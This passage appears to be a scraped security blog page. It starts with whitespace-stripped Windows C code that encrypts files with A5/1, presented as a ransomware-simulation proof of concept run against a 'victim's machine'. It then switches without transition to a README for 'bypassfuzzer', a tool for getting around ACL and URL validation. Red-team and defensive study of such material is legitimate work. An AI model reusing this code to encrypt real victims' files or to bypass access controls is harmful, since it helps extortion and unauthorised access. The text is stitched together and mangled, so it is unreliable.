%d\n",paddingSize);}}voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}intmain(){constchar*inputFile="Z:\\test.txt";constchar*outputFile="Z:\\test.txt.a51";constchar*decryptedFile="Z:\\test.txt.a51.decrypted";constchar*key="\x6d\x65\x6f\x77\x6d\x65\x6f\x77";encrypt_file(inputFile,outputFile,key);decrypt_file(outputFile,decryptedFile,key);return0;}
As you can see, as usual, for test I just encrypt file test.txt and decrypt it.
cat test.txt
demo
Letβs see everything in action, compile our PoC code:
and letβs say we have a test.txt file in the Z:\\ path on the victimβs machine:
hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example via hexdump command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.
It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.
I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.
You can now feed it raw HTTP requests that you save to a file from Burp.
Follow me on twitter! @intrudir
Usage
usage: bypassfuzzer.py -h
Specifying a request to test
Best method: Feed it a raw HTTP request from Burp!
Simply paste the request into a file and run the script! - It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests